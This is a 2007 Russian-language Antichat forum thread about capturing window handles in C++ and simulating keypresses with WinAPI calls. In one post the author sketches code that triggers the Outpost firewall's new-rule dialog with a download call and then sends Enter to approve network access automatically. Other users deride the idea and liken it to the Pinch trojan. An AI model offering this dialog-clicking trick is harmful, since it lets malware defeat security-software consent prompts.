ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Захват хендла окна (c++)
  #1  
Старый 01.10.2007, 14:41
Аватар для kotel
kotel
Новичок
Регистрация: 03.09.2006
Сообщений: 4
Провел на форуме:
22813

Репутация: 1
Question Захват хендла окна (c++)

Изучил довольно много информации по хендлу.Планирую использовать в мирных целях,но думаю и для обхода фаеров пригодиться многим

PHP код:
HWND hWnd;
hWnd FindWindow("Класс приложения"NULL);
hWnd FindWindowEx(hWndNULL"Класс кнопки/строки и прочего"NULL);

if (
IsWindow(hWnd))
{
 
// Кнопка найдена, работаем с ней

Код работает прекрасно,но ..вот пример:
PHP код:
HWND hWnd;
hWnd FindWindow("Notepad"NULL);
hWnd FindWindowEx(hWndNULL"Edit"NULL);

if (
IsWindow(hWnd))
{
keybd_event(VK_SPACE,0,0,0);
keybd_event(VK_SPACE,0,KEYEVENTF_KEYUP,0);



Работа с блокнотом,а точнее эмуляция нажатия кнопок SPACE,проблема в том,что программа (эмуляция) работает корретно,только в случае (!) если Notepad - является (!)активным окном.В противном случа нет.Вопрос,есть ли способы переключения активного окна?Гугль не помог.

Последний раз редактировалось kotel; 01.10.2007 в 14:43.. Причина: Correct
 
Ответить с цитированием

  #2  
Старый 01.10.2007, 14:53
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

попробуй SetForegroundWindow
 
Ответить с цитированием

  #3  
Старый 01.10.2007, 14:53
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Во-первых, я не понял при чём тут обход фаеров? Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка. Мало того, что в MSDN это есть, так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow. Дальше сам.
 
Ответить с цитированием

  #4  
Старый 01.10.2007, 15:24
Аватар для kotel
kotel
Новичок
Регистрация: 03.09.2006
Сообщений: 4
Провел на форуме:
22813

Репутация: 1
По умолчанию

groundhog
Цитата:
я не понял при чём тут обход фаеров?
Обдумав 30 секунд набросал:
PHP код:

URLDownloadToFile
(NULL"http://url.succes.txt""succes.txt"0NULL); //дразним оутпост

HWND hWnd;
hWnd FindWindow("#32770"NULL); //находим окно создания правила 
//для нового приложения


if (IsWindow(hWnd))
{
keybd_event(VK_RETURN,0,0,0); 
//создаем правило:),по умолчанию задает ему как Web 
//браузер.поэтому достаточно 1 нажатия :))


Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать )

Цитата:
Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка.
Спасибо учту.Я не люблю отмазываться .

Цитата:
так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow.
Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться

LEE_ROY
Цитата:
попробуй SetForegroundWindow
Спасибо пошел искать инфу.
 
Ответить с цитированием

  #5  
Старый 01.10.2007, 15:42
Аватар для Exile1985
Exile1985
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме:
404152

Репутация: 94
По умолчанию

Изучив много карт и глобусов, могу твердо заявить: земля КРУГЛАЯ!!!.
Я буду использовать эту информацию в мирных целях, хотя ею можно воспользоваться и в других менее мирных целях.
 
Ответить с цитированием

  #6  
Старый 01.10.2007, 15:51
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Клацанье по кнопкам это не обход фаеров...
 
Ответить с цитированием

  #7  
Старый 01.10.2007, 16:20
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать )
Ну боянище же это раз. Два - какой это нафиг обход?
 
Ответить с цитированием

  #8  
Старый 01.10.2007, 16:28
Аватар для GlOFF
GlOFF
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме:
1845671

Репутация: 1338


По умолчанию

Цитата:
Сообщение от _Great_  
Ну боянище же это раз. Два - какой это нафиг обход?
Ну так пинч же тоже по кнопочкам клацал, как бы "обходя" KIS и OUTPOST. Это не обход, это скорее обман
 
Ответить с цитированием

  #9  
Старый 01.10.2007, 22:51
Аватар для Ni0x
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме:
2009677

Репутация: 472
По умолчанию

Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..
 
Ответить с цитированием

  #10  
Старый 02.10.2007, 09:11
Аватар для Exile1985
Exile1985
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме:
404152

Репутация: 94
По умолчанию

Цитата:
Сообщение от Ni0x  
Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
Вообще, зачем создавать такие темы, мм? Пропалишь же тему..
не говори как, мы, долгие годы молчали и никому не рассказывали об этом секрете, а ты вот взял и спалил всех нах.

Как скажи мне мы теперь будем обходить врейвол, ведь бравые бойци из агниума закроют эту дыру.

И как нам теперь быть!? Засрал малину?!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Эмуляция VirtualProtect 0x0c0de С/С++, C#, Delphi, .NET, Asm 9 30.09.2007 15:46
Эмуляция узкого канала Shred Болталка 12 14.09.2007 13:59
Эмуляция DOS в редакторе Word DDoS Болталка 0 08.07.2007 02:23
Эмуляция ввова как метод обхода OutPost FireWall 4 Sov1et Авторские статьи 8 31.01.2007 16:06
Эмуляция текстового браузера в Опере blaga Soft - Windows 4 23.12.2006 18:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ